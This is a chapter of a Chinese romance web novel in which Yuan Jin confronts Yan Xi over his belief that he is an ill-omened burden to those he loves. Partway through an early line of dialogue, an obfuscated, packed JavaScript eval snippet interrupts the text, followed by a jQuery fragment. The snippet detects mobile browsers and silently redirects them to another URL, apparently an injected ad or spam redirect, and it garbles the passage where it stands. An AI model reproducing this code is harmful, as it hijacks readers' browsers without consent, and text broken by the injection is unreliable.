“你的眼睛倒是挺毒的。”袁瑾双手撑在栏杆上,看着飘然而落的雪花,“我只是不太喜欢他对我的态度。这些日子我又仔仔细细地回忆了一遍跟他相处的时光,不知道是不是因为心境的不同,我竟然发现了更多被忽略的细节。” 崔闻问:“是什么?” 袁瑾回答:“我觉得他认为自己对别人来说是个累赘。” 崔闻迟疑:“有吗?” “看吧,连你也被他骗过去了。”袁瑾笑了一下,眺望远方,“颜青阳藏得太好。如果没有上次的意外,我大概一辈子都不会知道他心里在想什么。” 她顿了顿,继续说:“我不知道他为什么会有这种想法,但我知道放任下去,他迟早有一天会被自己害死。我可以接受心上人不喜欢我这件事,但我不能接受友人因为一个错误的想法死在我面前,绝不!” “那你打算怎么办?”崔闻询问,“需要我代为转达吗?” 袁瑾摇了摇头:“不用了,让他好好想去吧。他这个人自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133599|162746||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负得很,你告诉他,他未必听得进去。”说到这,她自己乐了,转头看向崔闻:“这么一看,我和颜青阳也算‘臭味相投’了。” 崔闻也跟着笑起来。 袁瑾长舒一口气:“希望那个笨蛋能早点想明白,别让我等太久。” 雪花飘了一夜又一夜,天地早已是银装素裹。时间好似不再流逝,世界陷入长久的寂静,心在此间变得安详。 袁瑾依靠着窗户,神色平静,恍若偶入人士的谪仙。 踏雪声若隐若现,抬眸看去,原来是颜熙。皑皑白雪中,一点墨色,衬得庭院越发清冷。 她没说话,颜熙也没有说话,就这样静静地注视着彼此。 一阵北风刮过,晶莹的雪粒飞入屋内,裸/露在外的皮肤上感到一片冰凉。袁瑾拢了拢衣服,轻描淡写地看了颜熙一眼,转身离开了窗边。 屋内的火炭烧得正旺,很暖和。茶釜发出咕噜咕噜的响声,袁瑾舀起一勺茶汤注入碗中,清淡的香气顺着升腾的热气萦绕在鼻尖。 咔哒,身后传来门板开合的声音,袁瑾放下木勺,坐回木榻上,抬了抬下巴示意来人把热茶喝了:“去了寒气再过来,我可不想风寒入体。” 颜熙脱下裘衣,捧着茶碗,站在炭火旁去寒气,举止间透着一股乖巧劲儿。 以前怎么不见你如此听话?袁瑾撇撇嘴,隔着书本继续打量着颜熙。他身着素色长袍,没了往日的嬉皮笑脸,人也变得沉稳。只是病体初愈,脸色还略显苍白。 要不要让庖厨再炖些药膳补一补?袁瑾正想着,就与颜熙的眼神装了个正着。她想移开视线,但又觉得欲盖弥彰,索性放下书本大大方方地看着颜熙。 颜熙抿了抿嘴,放下茶碗,迎着她的目光坐到了木榻上。沉默了半晌,幽幽道:“父母亡故的时候,我只有三岁。不知为何家里传出了我是天煞孤星的谣言,长辈们疏远我,只有叔父还愿意照顾我。” “可是在五岁的时候,家中起了一场无名大火,叔父为了救我受了很重的伤。因为这件事,原本销声匿迹的流言蜚语又一次出现,甚至比上一次更‘声势浩大’。” “后来,叔父好了,可还是有什么在无声中改变了。我知道我没有资格去指责谁,但仍会……”颜熙停顿了一下,继续说,“对不起。我知道天煞孤星之说不过是无稽之谈,可我心里还是忍不住地害怕,怕自己是颗灾星,会害死我在意的每一个人。” 袁瑾厉声质问:“所以你就把自己看成一个累赘,时时刻刻地想着牺牲自己成全别人。你有没有想过我?想过嫂嫂?想过在意你的人?你想让我们一辈子都背负着愧疚吗?” 心中升起的怒火烧得袁瑾肝疼,她欲喝碗茶压压火气。 哪知刚一起身,就被颜熙拉住了手腕。她侧首望去,只见颜熙仰着头,目光近乎哀求道:“别走,我知道错了,真的知道错了……幼瑛,别丢下我……” 紧绷到发涩的声音像一把结实的小锤,敲击在袁瑾的心房上,无名火忽地一下消失不见,只剩下隐隐的钝痛。 袁瑾长叹一口气,似是认命,伸出手抚上颜熙发红的眼尾:“你说你这个娇气鬼有什么好的?”指腹从眼尾划到柔软的颊肉,最后托起那张英俊的脸:“我再问你一次,爱我吗?” 迈出第一步吧,颜青阳。你不能,也不可以再继续躲在那个逼仄的角落里了。